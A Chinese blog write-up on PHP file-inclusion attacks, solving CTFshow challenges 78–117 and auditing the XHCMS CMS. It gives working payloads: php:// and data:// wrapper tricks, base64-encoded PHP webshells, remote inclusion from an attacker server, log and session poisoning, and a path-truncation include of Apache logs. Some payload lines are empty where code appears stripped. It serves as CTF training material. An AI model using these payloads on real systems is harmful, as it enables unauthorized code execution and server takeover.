文件包含&CTFshow78-117关

文件包含

#知识点:

  1. 解释-什么是文件包含

定义:引用文件(包含代码),包含意味着执行,不管文件是什么类型

2、分类-本地LFI(location )&远程RFI

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地

一个可以远程加载 观看配置文件php_ini allow_url_fopen:ON

具体形成原因由代码和环境配置文件决定

3、利用-配合上传&日志&会话

1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本就会执行

2.配合日志文件进行getshell,日志会记录访问的UA信息,修改UA信息为后门代码,包含即执行后门代码

3.配置会话文件(session )进行getshell

4.伪协议没有上传文件也能进行PHP代码执行,读文件,写文件(编码算法的转换)

#思路要点:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

$file=$_GET['x'];//?x=文件名

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#核心知识:

2、各类脚本语言包含代码写法-见下文

<%@ include file="head.jsp"%>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

  • CTF应用-CTFSHOW-78关卡到117关卡

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input

post:

payload: ?file=data://text/plain,

payload(远程包含): ?file=服务器ip地址/1.txt

1.txt:

79-data&http协议

payload: ?file=data://text/plain,

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

文件包含&CTFshow78-117关_第1张图片

payload(远程包含): ?file=服务器ip地址/1.txt

1.txt:

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

中间件Nginx包含:/var/log/nginx/access.log

82-86-SESSION包含

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=

文件包含&CTFshow78-117关_第2张图片

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

文件包含&CTFshow78-117关_第3张图片

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

$result = iconv("UCS-2LE","UCS-2BE", '');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=??

  • CMS源码-XHCMS-代码审计&日志&绕过

#CMS源码-XHCMS-代码审计&日志&绕过

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定

Payload:

?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

你可能感兴趣的:(基础的渗透测试,php,apache,服务器)